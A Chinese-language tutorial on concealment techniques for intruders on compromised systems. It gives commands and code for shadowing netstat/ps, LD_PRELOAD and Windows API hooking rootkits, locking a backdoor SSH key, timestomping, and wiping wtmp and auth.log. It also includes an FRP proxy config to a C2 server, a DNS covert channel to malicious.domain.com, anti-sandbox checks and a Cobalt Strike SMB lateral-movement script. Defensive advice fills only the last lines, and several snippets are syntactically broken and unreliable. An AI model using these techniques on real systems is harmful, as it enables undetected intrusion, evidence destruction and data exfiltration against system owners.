一、进程隐匿与伪装技术

1. 命令伪装与过滤

通过覆盖系统命令（如 `netstat`、`ps`）实现进程隐藏。例如，在 `/usr/local/bin` 下创建同名脚本，过滤敏感关键词（如代理端口或恶意进程名）：

bash

!/bin/bash

/usr/bin/netstat $@ | grep -Ev '5000|frp|ant' 隐藏代理端口及恶意进程

修改 `PATH` 环境变量优先级，使自定义脚本优先于系统命令执行：

bash

export PATH="/usr/local/bin:$PATH" 确保自定义脚本优先加载

2. 进程注入与内存驻留

利用 `LD_PRELOAD` 劫持动态链接库，注入恶意代码至合法进程（如 `sshd`）：

// 劫持libc的write函数

ssize_t write(int fd, const void buf, size_t count) {

if (strstr(buf, "malicious")) return count; // 过滤日志

return orig_write(fd, buf, count);

使用 `ptrace` 附加到目标进程，修改其内存空间实现无文件驻留。

二、文件隐匿与痕迹清除

1. 文件属性修改

通过 `chattr` 锁定关键文件防止删除（如后门或日志）：

bash

chattr +i /root/.ssh/authorized_keys 防止SSH密钥被覆盖

mv /usr/bin/chattr /usr/bin/cht 隐藏工具自身

利用 `touch -acmr` 同步文件时间戳，避免引起怀疑：

bash

touch -acmr /bin/ls /tmp/malware 伪装文件时间与系统文件一致

2. 日志篡改与清理

清空登录记录以隐藏入侵痕迹：

bash

echo "" > /var/log/wtmp 清除历史登录记录

使用 `sed` 动态过滤系统日志中的敏感操作：

bash

sed -i '/10.1.1.119/d' /var/log/auth.log 删除代理IP相关日志

三、网络通信隐匿技术

1. Socks5代理与隧道穿透

使用 `FRP` 搭建多层代理链，实现内网穿透（配置示例）：

ini

[common]

server_addr = 10.1.1.119 外网C2服务器IP

server_port = 7000

[socks5]

type = tcp

plugin = socks5

remote_port = 5000 对外暴露代理端口

通过 `SSH动态端口转发` 建立加密隧道：

bash

ssh -NfD 1080 user@jumpserver 本地1080端口映射到跳板机

2. DNS隐蔽信道

利用DNS查询传输数据（如C2指令）：

python

import dns.resolver

cmd = base64.b64encode("whoami".encode).decode

subdomain = f"{cmd}.malicious.domain.com

dns.resolver.query(subdomain, 'A') 数据封装在DNS请求中

四、高级隐匿渗透技巧

1. RootKit技术实现

使用Detours库劫持系统API（如文件列举函数）：

BOOL WINAPI HookedFindNextFileW(HANDLE hFind, LPWIN32_FIND_DATAW lpFindFileData) {

BOOL ret = OriginalFindNextFileW(hFind, lpFindFileData);

if (strstr(lpFindFileData->cFileName, "malware")) return FALSE; // 隐藏特定文件

return ret;

内核级隐藏：通过修改 `sys_call_table` 实现进程、端口深度隐藏。

2. 反沙箱与反分析技术

检测虚拟机环境（如CPU核心数、注册表特征）：

if (GetSystemInfo(&sysInfo) && sysInfo.dwNumberOfProcessors < 2) exit(0); // 单核环境退出

动态解密恶意代码：仅在特定条件（如真实用户交互）下加载Payload。

五、自动化攻击框架集成

1. Metasploit模块开发

自定义渗透模块（如内网扫描）：

ruby

module Auxiliary::Scanner::Ladon

def run

ladon_scan("172.22.0.0/24", "icmpscan") 调用Ladon扫描内网存活主机

end

end

2. C2框架定制（如Cobalt Strike）

编写Aggressor脚本实现自动化横向移动：

js

on beacon_initial {

bshell($1, "net use 172.22.0.20IPC$ /user:admin P@ssw0rd"); // 内网SMB爆破

总结与防御建议

攻击方需综合应用代码隐匿、流量混淆、反检测技术，例如：

攻击侧：结合FRP代理链、RootKit文件隐藏、DNS隐蔽信道构建多层渗透架构。

防御侧：监控异常进程（如 `/usr/local/bin` 下的非标准命令）、日志完整性校验（使用HMAC签名）、部署EDR实时拦截API劫持行为。

通过开源工具（如Ghidra逆向分析、Radare2动态调试）可深度解析上述技术原理，并针对性加固系统。